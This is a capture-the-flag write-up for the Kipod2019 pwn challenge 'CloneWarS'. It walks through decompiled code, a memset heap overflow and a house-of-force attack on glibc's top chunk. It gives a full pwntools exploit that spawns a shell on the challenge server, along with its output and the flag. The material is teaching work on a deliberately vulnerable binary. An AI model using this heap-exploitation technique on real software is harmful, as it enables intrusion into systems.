[Pwn] Kipod2019 - CloneWarS

CloneWarS

Points
90
Solves
13
Category
Pwn

Description:
A long time ago in a galaxy far, far away….

ssh yeet@ctf2.kaf.sh -p 7000 password: 12345678
CloneWarS

TLDR

  • Leak heap from R2D2
  • Overflow top_chunk size
  • Leak global file pointer
  • Use house of force to write into file
  • Trigger system(file)

Binary Analysis

The binary is the only file we get from this challenge:

1
2
$ file CloneWarS
CloneWarS: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=a45e46d5347deb6022d64604638a3ed70e8de417, not stripped

From the file command output we know that:

  • ELF compiled for x86_x64 architecture
  • Dynamically linked
  • Not stripped

Using checksec to see the enabled protections:

1
2
3
4
5
6
7
$ checksec CloneWarS
[*] '/ctf/work/pwn/CloneWarS/CloneWarS'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • FULL RELRO (GOT entries are read only we can’t overwrite them)
  • STACK CANARY (The stack is protected with the canary if there is a stack overflow we need to find a way to leak it)
  • NX (Non executable stack)
  • PIE (Position Independent Executable) is on (If we want to use rop we need a way to leak the base address)

Static Analysis

Using Ida to check on the main function we can see we have a bunch of options:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
while ( v3 != 7 )
{
switch ( v3 )
{
case 1LL:
build_death_star(); // option 1
break;
case 2LL:
R2D2(); // option 2
break;
case 3LL:
prep_starship(); // option 3
break;
case 4LL:
make_troopers(); // option 4
break;
case 5LL:
light_sabers(); // option 5
break;
case 6LL:
cm2_dark_side(); // option 6
break;
default:
break;
}

By looking at build_death_star:

1
2
3
4
5
6
7
8
9
10
11
12
unsigned __int64 build_death_star()
{
int v1; // [rsp+Ch] [rbp-14h]
unsigned __int64 v2; // [rsp+18h] [rbp-8h]

v2 = __readfsqword(0x28u);
v1 = 0;
fwrite("Assemble death star: ", 1uLL, 0x15uLL, stderr);
__isoc99_scanf("%d", &v1); // We can control the size of the allocated string
malloc(v1); // allocated object (the pointer not saved anywhere)
return __readfsqword(0x28u) ^ v2;
}

As we can see above we have a controlled sized malloc this is important if we want to use certain exploits on the heap.

By looking at R2D2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
unsigned __int64 R2D2()
{
int v1; // [rsp+Ch] [rbp-14h]
char *v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]

v3 = __readfsqword(0x28u);
v1 = 0;
fwrite("R2? ", 1uLL, 4uLL, stderr);
__isoc99_scanf("%x", &v1);
v2 = (char *)starships + 272;
fprintf(stderr, "\nR2D2 IS .... %ld ...... ON THIS TRACK !! 0x6733894F08\n", (char *)starships + 272);// Leak Heap
getchar();
return __readfsqword(0x28u) ^ v3;
}

R2D2 gives us a free leak to the heap because of this we can calculate the offset to the HEAP BASE.

Checking out theprep_starship:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
unsigned __int64 prep_starship()
{
int v1; // [rsp+4h] [rbp-2Ch]
int c; // [rsp+8h] [rbp-28h]
int v3; // [rsp+Ch] [rbp-24h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]

v4 = __readfsqword(0x28u);
v1 = 0;
fwrite("Master, the amount of starships: ", 1uLL, 0x21uLL, stderr);
__isoc99_scanf("%d", &v1); // reads size from the stdin
starships = malloc(v1); // a new allocated starship with a controllable size
c = 0;
v3 = 0;
fwrite("\nWhat kind of starships?: ", 1uLL, 0x1AuLL, stderr);
__isoc99_scanf("%x", &c); // Value to be set
fwrite("\nCapacity of troopers in the starships: ", 1uLL, 0x28uLL, stderr);
__isoc99_scanf("%d", &v3); // Number of bytes
memset(starships, c, v3); // Heap Overflow
return __readfsqword(0x28u) ^ v4;
}

As you can see because of memset we can overflow the heap by an amount we can control (capacity of the troppers) and we can also control the content that will overflow it (kind of starships).

Analysing make_troopers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 make_troopers()
{
int v1; // [rsp+Ch] [rbp-34h]
char *dest; // [rsp+10h] [rbp-30h]
char src[8]; // [rsp+18h] [rbp-28h]
char buf; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]

v5 = __readfsqword(0x28u);
fwrite("\nTroopers to be deployed: ", 1uLL, 0x1AuLL, stderr);
read(0, &buf, 0x14uLL); // content limited to 0x14 bytes
v1 = atoi(&buf);
dest = (char *)malloc(v1); // once again a controllable sized malloc
fwrite("\nWhat kind of troopers?: ", 1uLL, 0x19uLL, stderr);
src[(int)((unsigned __int64)read(0, src, 8uLL) - 1)] = 0; // puts a null byte at the (8-1) position of the string
strcpy(dest, src); // puts the content from stdin into the new allocated chunk
return __readfsqword(0x28u) ^ v5;
}

Nothing wrong with this one (in terms of security at least) but this one can be useful to store some content to a certain pointer specially if we manage to make malloc return an arbirtrary pointer to a place we want.

light_sabers is the same as make_troopers but instead of putting a null byte at the 8th position of the read string it puts at the 0x14-1 which is right at the end of the string.

Analysing cm2_dark_side:

1
2
3
4
5
int cm2_dark_side()
{
fprintf(stderr, "\nFile is at: %ld\n", file); // file pointer leaked
return system(file); // system call
}

file is a global variable located at the BSS once again we get a free leak with this we can get the offset to the pie base and get access to the rest of the global variables, this function also hints us that the final objective of this challenge is to find a way to change the content of file to get a shell or print the flag.

House of force the jedi overflow

It’s not a coincidence that the theme of this challenge is about star wars, Obi wan intuitively says to us:

The ingredients to use house of force can be interpreted as follows:

  • The exploiter must be able to overwrite the top chunk.
  • There is a malloc() call with an exploiter-controllable size.
  • There is another malloc() call where data are controlled by the exploiter.

We checked all the requirements:

  • We have a heap-overflow at the function prep_starship through memset.
  • We have a multiple malloc calls with controllable sizes for example in build_death_star.
  • We have a malloc call where we can control its data in make_troopers and light_sabers.

So the core of this attack is to overwrite av->top with an big arbitrary value so it can later force malloc (which uses the top chunk) to return an arbitrary pointer to an address we want to modify.

So what is the top_chunk ? top_chunk also known as the wilderness is a special chunk that defines how much space is left in the current heap arena, this chunk is located at the top of the heap.

On this sample program we can see right after the first allocation the heap is initialized, the first chunk is the tc ache_p_struct next is the allocated chunk by us.
Finally right at the top of the heap we have the wilderness the space left in the arena is defined in the field mchunk_size so lets see what happens when we allocate a 2nd chunk:

When it exceeds the space left, heap expansion is triggered mapping a new memory page.

So what happens when the top chunk is used to allocate the size of the heap block to any value controlled by the user? The answer is that you can make the top chunk point to whatever we want (yes everywhere even in a position before because of overflow), which is equivalent to an arbitrary address write. However, in glibc, the size of the user request and the existing size of the top chunk are verified.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
Void_t*
_int_malloc(mstate av, size_t bytes) {
INTERNAL_SIZE_T nb; /* normalized request size */

[...]

mchunkptr victim; /* inspected/selected chunk */
INTERNAL_SIZE_T size; /* its size */
int victim_index; /* its bin index */

mchunkptr remainder; /* remainder from a split */
unsigned long remainder_size; /* its size */

[...]

checked_request2size(bytes, nb);

[...]

/* finally, do the allocation */
p = av->top;
size = chunksize (p);

/* check that one of the above allocation paths succeeded */
if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
remainder_size = size - nb;
remainder = chunk_at_offset (p, nb);
av->top = remainder;
set_head (p, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0));
set_head (remainder, remainder_size | PREV_INUSE);
check_malloced_chunk (av, p, nb);
return chunk2mem (p);
}
[...]
}

Perhaps, if you can override with size to a large value, you can easily pass this verification, we can do this with an overflow vulnerability to tamper the top_chunk size.

1
(unsigned long) (size) >= (unsigned long) (nb + MINSIZE)

In the Malloc Maleficarum it is written that the wilderness chunk should have the highest size possible (preferably 0xFFFFFFFFFFFFFFFF) which is the largest number in unsigned long in x64.

1
2
3
4
5
/* Treat space at ptr + offset as a chunk */
#define chunk_at_offset(p, s) ((mchunkptr) (((char *) (p)) + (s)))

remainder = chunk_at_offset (p, nb);
av->top = remainder;

After that, the top pointer will be updated, and the next heap block will be allocated to this location.

Writing the exploit

The first thing is find a way to connect with SSH to connect to the server I did that with:

1
2
r =process("sshpass -p 12345678 ssh -p 7000 -tt yeet@ctf2.kaf.sh".split())
r.interactive()

You need to have sshpass installed tho and also you need to add the server ip to the known hosts before which can be done by saying yes while connecting for the first time via command line:

1
$ ssh -p 7000 yeet@ctf2.kaf.sh

First we need to get a HEAP address leak we can get this by executing R2D2 option:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
def r2d2(n):
r.sendlineafter('Your choice: ', '2')
r.sendlineafter('R2? ', '2')

def pstarships(size, kind, capacity):
r.sendlineafter('Your choice: ', '3')
r.sendlineafter('Master, the amount of starships: ', str(size))
r.sendlineafter('What kind of starships?: ', kind)
r.sendlineafter('Capacity of troopers in the starships: ', str(capacity))
r = getConn()
pstarships(0x30, 'A', 0x30)
r2d2(-1)
r.recvuntil('R2D2 IS .... ')
HEAP_L = int(r.recvregex(r'(\d+) '))

Next step is to tamper the size of the wilderness with pstartships via memset:

1
2
# OVERFLOW TOP_CHUNK
pstarships(0x30, "FF", 0x40) # Overflow Top Chunk

The top_chunk before overflow:

The top_chunk after overflow:

Now the place we want to write is at FILE global string pointer we can do this by going to the darkside(cm2_dark_side):

1
2
3
4
5
# LEAK FILE PTR
r.sendlineafter('Your choice: ', '6')
r.recvuntil('File is at: ')
FILE = int(r.recvline().rstrip())
log.info("FILE ADDR 0x%x" % FILE)

Now we calculate the evilsize required to write at FILE can be done with FILE-TOP_CHUNK-8*4:

1
2
3
4
5
6
HEAP = HEAP_L-0x1380 # HEAPBASE
SIZE_OF_LONG = 0x8 # sizeof(long) -> 8 in 64 bits
WILD_OFFSET = 0x12e0 # Current TOP_CHUNK offset
TOP_CHUNK = HEAP+WILD_OFFSET+SIZE_OF_LONG*4
r.sendlineafter('Your choice: ', '1')
buildDeathStar(FILE-TOP_CHUNK) # Malloc will return an arbitrary pointer to FILE

To calculate WILD_OFFSET you can put a break point right before malloc inside buildDeathStar and calculate with this:

Write sh into file:

1
2
3
4
r.sendlineafter('Your choice: ', '4')
r.sendlineafter('What kind of troopers?: ', 'sh') # Modify file with sh
r.sendlineafter('Your choice: ', '6') # Trigger system("sh")
r.interactive()

The full exploit:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
from pwn import *
filename = "./CloneWarS"
elf = ELF(filename)
context.arch = 'amd64'

def getConn():
return process(filename) if not args.REMOTE else process("sshpass -p 12345678 ssh -p 7000 -tt yeet@ctf2.kaf.sh".split())

def get_PIE(proc):
memory_map = open("/proc/{}/maps".format(proc.pid),"rb").readlines()
return int(memory_map[0].split("-")[0],16)

def debug(bp):
script = ""
PIE = get_PIE(r)
PAPA = PIE
for x in bp:
script += "b *0x%x\n"%(PIE+x)
gdb.attach(r,gdbscript=script)

def r2d2(n):
r.sendlineafter('Your choice: ', '2')
r.sendlineafter('R2? ', '2')

def pstarships(size, kind, capacity):
r.sendlineafter('Your choice: ', '3')
r.sendlineafter('Master, the amount of starships: ', str(size))
r.sendlineafter('What kind of starships?: ', kind)
r.sendlineafter('Capacity of troopers in the starships: ', str(capacity))

def lightsabers(nLs, color):
r.sendlineafter('Your choice: ', '5')
r.sendafter('How many lightsabers do you think you will need?: ', '\n')
r.sendline(str(nLs))
r.sendafter('What color would you like on your light sabers: ', color)

def buildDeathStar(size):
r.sendlineafter('Your choice: ', '1')
r.sendlineafter('Assemble death star: ',str(size))

context.terminal = ['tmux', 'new-window']
r = getConn()

# LEAKING HEAP
pstarships(0x30, 'A', 0x30)
r2d2(-1)
r.recvuntil('R2D2 IS .... ')
HEAP_L = int(r.recvregex(r'(\d+) '))
log.info('HEAP ADDR 0x%x'% HEAP_L)

if not args.REMOTE and args.GDB:
debug([0xB0F,0xC3C,0xA7D, 0xE00]) # 0xD94
# OVERFLOW TOP_CHUNK
pstarships(0x30, "FF", 0x40) # Overflow Top Chunk

# LEAK FILE PTR
r.sendlineafter('Your choice: ', '6')
r.recvuntil('File is at: ')
FILE = int(r.recvline().rstrip())
log.info("FILE ADDR 0x%x" % FILE)


HEAP = HEAP_L-0x1380 # HEAPBASE
SIZE_OF_LONG = 0x8 # sizeof(long) -> 8 in 64 bits
WILD_OFFSET = 0x12e0 # Current TOP_CHUNK offset
TOP_CHUNK = HEAP+WILD_OFFSET+SIZE_OF_LONG*4
r.sendlineafter('Your choice: ', '1')
buildDeathStar(FILE-TOP_CHUNK) # Calculate the evil size required to write to FILE
r.sendlineafter('Your choice: ', '4')
r.sendlineafter('What kind of troopers?: ', 'sh') # Modify file with sh
r.sendlineafter('Your choice: ', '6') # Trigger system("sh")
r.interactive()
r.close()

Running it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ python CloneWarS.py REMOTE
[+] Starting local process '/usr/bin/sshpass': pid 113679
[*] HEAP ADDR 0x555555757780
[*] FILE ADDR 0x555555756010
[*] Switching to interactive mode
6

File is at: 93824994336784
$ $ ls
ls
binary flag.txt skywalker.txt
$ $ cat flag.txt
cat flag.txt
KAF{MaY_tHe_F0RCE_B3_W1tH_YOUUU10293012884}

References